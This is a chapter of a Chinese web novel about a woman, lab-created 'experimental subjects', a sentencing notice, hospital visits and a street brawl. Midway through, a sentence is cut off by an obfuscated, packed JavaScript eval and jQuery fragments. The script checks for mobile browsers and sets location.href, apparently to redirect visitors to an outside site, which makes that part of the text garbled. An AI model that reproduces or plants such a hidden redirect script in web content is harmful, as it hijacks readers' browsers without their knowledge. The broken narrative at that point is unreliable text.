34. 挖墙脚篇

作品:《女主今天也在害怕[人外]

    【004号实验品克西亚伤人事件,因其性质极度恶劣,法不容情。判决如下:1,处以鞭刑一百零八。2,剥夺其受领养资格,即日起与原饲养者领养协议作废。3,流放圈外,不得再进入三号乐土圈,自生自灭。】


    竟然真的是驱逐出圈。


    如此严重的惩罚,几乎佐证了克西亚伤人事实。


    祂又骗她。


    明明说的‘不是我。’


    判决书出的那天,吃过午饭,老爷子带着装满果肉的几个瓶瓶罐罐告辞,临别时,他支走了克鲁斯,把人赶出去老远,还不放心,喊:“你以为我不知道你耳朵好使?再远点!”


    直到克鲁斯近乎看不见了,王才富扭过头来,悄声说:“孟丫头,你人聪明,应该也猜到了,克鲁斯不是我第一个实验品。”


    在他目光下,孟若若缓缓点头。


    沙沙树叶摩挲,王才富双手合在拐棍圆头,目光悠远:


    “我这人啊,命硬,活着就是不死。熬走了战友、妻子,熬走了一个又一个实验品。一大把年龄,也不知道还能活到什么时候,本来,是不想再领养实验品的。”


    “可是名单递过来,我一看这小孩儿的眼神就觉得,得拉祂一把。有时候,只是拉一把的力气,就能救一个人。”


    温暖厚实的手掌拍在她的肩头,老爷子杵着拐杖走了。


    回忆中止。


    孟若若坐在院子,觉得太阳晒的那一面发热发烫。


    她拍拍屁股起身,退回屋里收拾东西。


    该到了去医院的时间。


    程随意所在医院位于二环三区,背靠山体依山而建,因空中禁飞,许多车子堵在上坡的道路。


    孟若若每天来,早有经验。


    在山脚就下车,慢慢爬上坡去,累了停一停,歇好继续。


    望着上行的长坡,她喘着沉重粗气,手里提着的果篮儿变成铅铁一样的负担。


    这段路头顶没有绿荫,如此折磨。


    即便折磨,总归要上去。


    说到底,她今年真的命犯灾殃,来来回回不知道跑多少趟医院了。自己的,实验品的,如今还少不得探病的。


    念念:“但愿以后大家谁都别再来了。”


    她气喘吁吁到了病房前,扶着颤抖的腿肚子庆幸自己锻炼得当,没有再出现腿脚抽筋的状况。


    脑子里却忽得闪过实验品沿河岸背着她的画面,甩甩头,把该抛弃的记忆丢开。


    病房里隐约有人说话。


    这不奇怪,程随意平日里待人温和,乐于助人,交际广,人缘好,光是这几天来探望的人就不知凡几,送的花和果篮几乎能盘出一家店。


    不过听着声音很耳熟。


    不是她刻意偷听,实在离得有些近。


    里边人冷静控诉:“程随意,你说话算数不?说好的接人,你不来,你这是无信。那你还管不管你的实验品,祂把我的床弄塌了,你得赔,不然你就是无德。”


    “你算什么能耐?你这个无德无信的臭流氓。”


    孟若若顿步,只感觉骂得好难听,不知道有什么渊源。


    但要是寻仇的,她应该进去拦一拦。


    踟蹰间又听那声音哀戚下来:“你还要睡到什么时候?程随意,你还要睡到什么时候?我真的生气了。”


    哭声,细碎压抑的哭声。


    这时候再进去就更不合适了。


    孟若若慢慢退到走道另一边,那里是对外放空的阳台,能看见山下的建筑群、拥挤堵塞着上山的车水长龙,还能眺望到远处环城的白玉带子似的河流。


    再看近处,一个屋顶的水箱覆上绿色苔藓,还有个屋顶上长有一棵孤零零的小树苗……


    她估摸着时间把周围都观察遍了,正要回去,旁边不知何时站了一个人,在抽烟。


    薄薄的白气飘过来,孟若若吸进肺里,胸腔发闷喉头发痒,随即咳嗽起来。


    那人说声抱歉,掐了烟。


    她注意到他是用的两指掐熄的烟蒂,不由愕然,这,不疼的吗?


    再抬头,竟是熟人。


    招呼:“宋医生,好巧。”


    正是她的心理医生。


    宋医生低头扫她一眼,神情厌厌:“别巧。”


    “啊?”


    “医院又不是什么好地方。”


    “啊,对。”


    出了咨询室的宋医生似乎脾气也变了,像这样工作与生活分开的人孟若若很理解,于是不多打扰,告辞道:“宋医生,那我先走了。”


    宋医生看着孟若若兔子逃窜的身影,收回目光,重新点燃一只烟,深深吸一口,缓缓吐出。


    世界,可真小。


    那头孟若若走进病房,愣了愣。


    “宋…宋姐?”


    她问的不确定,因为病房里的女子背对着,朴素的黑白假两件衫,头发扎起,却有不少碎发,与平日里干练形象出入。


    光凭一个后脑勺,孟若若是认不出她的,但宋青云盘发的筷子她认识。


    鲜少有人用一次性筷子盘发。


    再联想之前觉得耳熟的声音,心下明了。


    背对的人闻言转过来,表情冷淡,称得上面无表情。


    的确是宋青云。


    两人相看,孟若若暗自掐手心,尽量一副什么也不曾发现的样子,“宋姐,你也来探望程总?”


    “嗯。”


    “要热毛巾吗?”敷敷眼睛什么的。


    “不用。”


    气氛冷下来,孟若若不敢去看宋青云红了的眼眶,她想,这时候宋青云给她一巴掌也是应该的。


    因为她的疏于管教,实验品才会造成这样无可挽回的大错误。


    手指搅来搅去,她该说点什么,什么都行。


    “我该回去了。”宋青云突然开口,起身,经过她时没有停步,衣衫摩擦温度传递,是冷的。


    “我…我送送…”


    “不用。”


    这一声更冷,冷得孟若若僵愣在原地。


    她自觉说错了话,什么关系,她来说‘送’这个词。


    宋青云带过一阵风,高昂着头颅离开,背脊挺直,像枝倔强不肯任人攀折的玫瑰,她说:“你不欠我的,我也不欠你。”


    不知过了多久,孟若若嘶一声抬起手。


    中指指腹在流血,且已经流了一会儿了,现在才传来痛感,地板上留下梅花般的血点。


    她将手指含进嘴里,直到血止住,发现上边破了皮。


    “宋姐真的会扎人啊。”


    孟若若借来抹布擦去地板上的血迹。


    拧水时忘记了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089318|192720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    受伤的手指,碰掉了刚凝结的血痂,丝丝鲜红顺着水流流走。


    她不觉得疼。


    离开病房前,孟若若回头看一眼。


    病床上的程随意浑身插满各种管子,蓝白的病服,双目紧闭,面色苍白如一旁的帘布。


    他本来有出众的外貌,美好的爱情,如今躺在这里,沉沉不醒,憔悴枯槁。


    到底从哪里开始出的问题。


    孟若若不清楚。


    走过长长的下山坡,一座黄白巨石上刻着医院红字,石头旁是两棵拥花为簇的蓝花楹。


    浅蓝细碎的花丝打着旋儿落下,铺在蠕动车顶,铺在脚下。


    孟若若从树下走过,到达打车的地方。膝盖突然被什么东西撞了一下,绷直的腿软下去,扑在地上。


    远处传来轰乱嘈杂。


    是一群穿蓝黑制服的人与巡查警员起了冲突,两方大打出手,警员推挤开人群跑,另一方人追。


    “不许动!还跑?再跑腿掰折了!你小子,我盯你很久了。”


    这段路本就人流熙攘,卖花的卖水果的,开餐店的路边吃饭的,这一闹这一嗓子众人避让不及。


    人高马大的实验品追击在后,前边锅碗瓢盆,瓜果花卉碰得满天飞。


    不明所以,伸长脖子的人四处问:“怎么回事?什么情况?”


    众人看看,你不知我不知,口说:“演习?”


    有人大拇哥往后指医院刻字大石,“选这地方?没听说过。”


    有人回:“有说法的,这打伤打残了,医院门儿一打开,乌拉乌拉的车笛拉响,蹭蹭蹭跑出三五白衣天使,全拉里头去,一步到位。”


    那人看看这人,道:“您搁这儿说相声呢?”


    说话人抚掌,“嗨~!”


    孟若若扶好撞上她膝盖的小女孩儿,见人群往这边拥挤,为避免踩踏,抱起女孩儿闪进一家店里,是家杂货店。


    看戏的人不怕,她还是怕的。


    怀里的小女孩儿睁着水灵灵的大眼睛,孟若若宽慰说:“别怕,能看见爸爸妈妈吗?如果看不见,一会儿姐姐带你去警局。”


    女孩儿乖乖点头,视线往下落于她的手指,声音糯糯的:“姐姐,你流血了。”


    “啊,我处理处理。”


    孟若若问店员买了酒精创可贴,这才发现手指破的伤口摔倒时二次蹭伤了,整根手指到手腕血淋淋的,看着怪吓人。


    她背过身去处理,避开女孩儿,“你别怕,只是看着恐怖,其实伤口不大的。”


    女孩儿嗯一声,问:“姐姐你冷吗?”


    “不冷啊。”


    “那你为什么在抖?”


    “可能是有一点点痛。”


    孟若若如此解释,一边快速消毒,等待那一阵痛感过去,噗呲噗呲又来几下,直到手指上的血污抹去,露出伤口。


    原本破个皮,现在掉了块皮,这大小的伤口创可贴似乎包不住。


    那就,多来几张吧。


    她低头以拙弄巧时,眼前垂下一片阴影,以为是自己挡路了,毕竟这是个卖杂货的小店,通道狭小。


    孟若若挪挪身,“您从旁边直接过就好。”


    头顶传来一声低笑,陌生的,却似乎与她相熟已久:


    “孟小姐,有缘见面呀~”